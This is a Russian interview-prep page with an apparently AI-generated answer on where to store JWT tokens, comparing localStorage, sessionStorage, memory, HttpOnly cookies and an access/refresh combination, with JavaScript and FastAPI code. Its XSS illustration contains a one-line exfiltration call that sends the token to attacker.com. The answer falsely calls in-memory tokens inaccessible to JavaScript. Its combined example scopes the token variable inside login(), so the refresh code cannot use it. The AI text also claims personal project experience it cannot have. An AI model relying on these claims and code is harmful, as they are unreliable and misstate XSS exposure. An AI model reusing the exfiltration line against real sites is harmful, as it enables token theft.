← Назад к вопросам
Где хранил JWT Token?
2.3 Middle🔥 223 комментариев
#Архитектура и паттерны#Браузер и сетевые технологии
Комментарии (3)
🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)
Ответ сгенерирован нейросетью и может содержать ошибки
Где хранить JWT Token
Это критичный вопрос безопасности. Есть несколько подходов, каждый с трейд-оффами. Я использовал разные в разных проектах.
Вариант 1: localStorage (не рекомендуется)
// Авторизация
const login = async (email, password) => {
const response = await fetch('/api/auth/login', {
method: 'POST',
body: JSON.stringify({ email, password })
});
const { token } = await response.json();
// Сохраняем в localStorage
localStorage.setItem('token', token);
};
// Отправляем в каждом запросе
const fetchWithAuth = async (url, options = {}) => {
const token = localStorage.getItem('token');
return fetch(url, {
...options,
headers: {
...options.headers,
'Authorization': `Bearer ${token}`
}
});
};
Плюсы:
- Просто использовать
- Доступен из всех вкладок
- Пережимает перезагрузку
Минусы (СЕРЬЕЗНЫЕ):
- Уязвим к XSS (Cross-Site Scripting) атакам
localStorageдоступен из JavaScript:localStorage.getItem('token')- Если злоумышленник внедрит код — украдёт token
- В production НЕ использовать для sensitive токенов
// XSS атака
// Зловредный скрипт в <img> или <script>:
fetch('https://attacker.com/?token=' + localStorage.getItem('token'));
Вариант 2: sessionStorage (тоже уязвим)
sessionStorage.setItem('token', token);
const token = sessionStorage.getItem('token'); // Уязвим к XSS
Плюсы:
- Очищается при закрытии вкладки
Минусы:
- Тоже уязвим к XSS
- Не доступен между вкладками
Вариант 3: Memory (только во время сеанса)
let authToken = null;
const setToken = (token) => {
authToken = token;
};
const getToken = () => authToken;
const logout = () => {
authToken = null;
};
// При перезагрузке пользователь разлогинится
// Но это нормально — refresh token восстановит сеанс
Плюсы:
- НЕ уязвим к XSS (нет доступа из JavaScript)
- Безопасен
- Автоматически очищается при перезагрузке
Минусы:
- Теряется при перезагрузке страницы
- Нужен refresh token для восстановления
Вариант 4: HttpOnly Cookie (РЕКОМЕНДУЕТСЯ)
# Backend (FastAPI)
from fastapi import Response
from datetime import datetime, timedelta
@app.post('/api/auth/login')
def login(credentials: LoginRequest, response: Response):
user = authenticate(credentials)
token = create_jwt_token(user.id)
# HttpOnly cookie — не доступна из JavaScript
response.set_cookie(
key='token',
value=token,
httponly=True, # Критично! Защитит от XSS
secure=True, # Только HTTPS
samesite='strict', # Защита от CSRF
max_age=3600 # 1 час
)
return {'ok': True}
@app.post('/api/auth/logout')
def logout(response: Response):
response.delete_cookie('token')
return {'ok': True}
Frontend:
// Cookie отправляется автоматически
const login = async (email, password) => {
const response = await fetch('https://api.example.com/api/auth/login', {
method: 'POST',
credentials: 'include', // Отправляем cookies
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password })
});
// Token уже в cookie, ничего не нужно хранить
};
// Все последующие запросы автоматически включают cookie
const fetchWithAuth = (url, options = {}) => {
return fetch(url, {
...options,
credentials: 'include' // Браузер автоматически отправляет cookies
});
};
Плюсы (ОЧЕНЬ ВАЖНО):
- HttpOnly flag блокирует доступ из JavaScript → НЕ уязвима к XSS
- Браузер автоматически отправляет с каждым запросом
- Secure flag = только HTTPS
- SameSite = защита от CSRF
- Server-контролируемая логика
Минусы:
- Нужна HTTPS в production
- Нужно настроить CORS правильно
- Требует более тщательной конфигурации
Вариант 5: Комбинированный подход (best practice)
# Backend
@app.post('/api/auth/login')
def login(credentials: LoginRequest, response: Response):
user = authenticate(credentials)
# Access token (короткий, 15 минут)
access_token = create_jwt_token(
user.id,
expires_in=900 # 15 минут
)
# Refresh token (длинный, 7 дней)
refresh_token = create_jwt_token(
user.id,
expires_in=604800, # 7 дней
type='refresh'
)
# Access token в памяти (для XSS защиты)
# Refresh token в HttpOnly cookie
response.set_cookie(
key='refresh_token',
value=refresh_token,
httponly=True,
secure=True,
samesite='strict',
max_age=604800
)
return {'access_token': access_token, 'token_type': 'bearer'}
@app.post('/api/auth/refresh')
def refresh(request: Request):
refresh_token = request.cookies.get('refresh_token')
if not refresh_token or not validate_token(refresh_token):
raise HTTPException(status_code=401)
user_id = decode_token(refresh_token).get('sub')
new_access_token = create_jwt_token(user_id, expires_in=900)
return {'access_token': new_access_token}
Frontend:
// 1. Login
const login = async (email, password) => {
const response = await fetch('https://api.example.com/api/auth/login', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password })
});
const { access_token } = await response.json();
// Сохраняем access_token в памяти (защищено от XSS)
let currentAccessToken = access_token;
return { access_token };
};
// 2. API запрос с access_token
const fetchWithAuth = async (url, options = {}) => {
let response = await fetch(url, {
...options,
credentials: 'include',
headers: {
...options.headers,
'Authorization': `Bearer ${currentAccessToken}`
}
});
// Если access_token истёк (401), обновляем
if (response.status === 401) {
const refreshResponse = await fetch(
'https://api.example.com/api/auth/refresh',
{ method: 'POST', credentials: 'include' }
);
if (refreshResponse.ok) {
const { access_token } = await refreshResponse.json();
currentAccessToken = access_token;
// Повторный запрос с новым token
response = await fetch(url, {
...options,
credentials: 'include',
headers: {
...options.headers,
'Authorization': `Bearer ${currentAccessToken}`
}
});
} else {
// Refresh не удалась — нужна новая авторизация
window.location.href = '/login';
}
}
return response;
};
// 3. Logout
const logout = async () => {
await fetch('https://api.example.com/api/auth/logout', {
method: 'POST',
credentials: 'include'
});
currentAccessToken = null;
window.location.href = '/login';
};
Сравнительная таблица
Вариант | XSS Защита | Обновление | Сложность | Использую
---------------------|------------|------------|-----------|----------
localStorage | НЕТ | Вручную | Низкая | Никогда
sessionStorage | НЕТ | Вручную | Низкая | Никогда
Memory | ДА | Cookie | Средняя | Тестовое
HttpOnly Cookie | ДА | Вручную | Средняя | Часто
Combo (best practice) | ДА | Авто | Высокая | Production
Что я выбираю в разных ситуациях
Production (критичное):
Access Token (15 мин) -> в памяти
Refresh Token (7 дней) -> HttpOnly Cookie
SPA приложение (не очень критичное):
Access Token -> HttpOnly Cookie
Тестовое / Prototип:
Token -> в памяти (вспомогательная переменная)
Главное правило
НИКОГДА не используй localStorage/sessionStorage для sensitive токенов в production.
Используй HttpOnly Cookie + Secure flag + SameSite для максимальной защиты.
Это защитит от XSS, CSRF и других векторов атак. Если нужна более высокая безопасность — добавь refresh token rotation и device fingerprinting.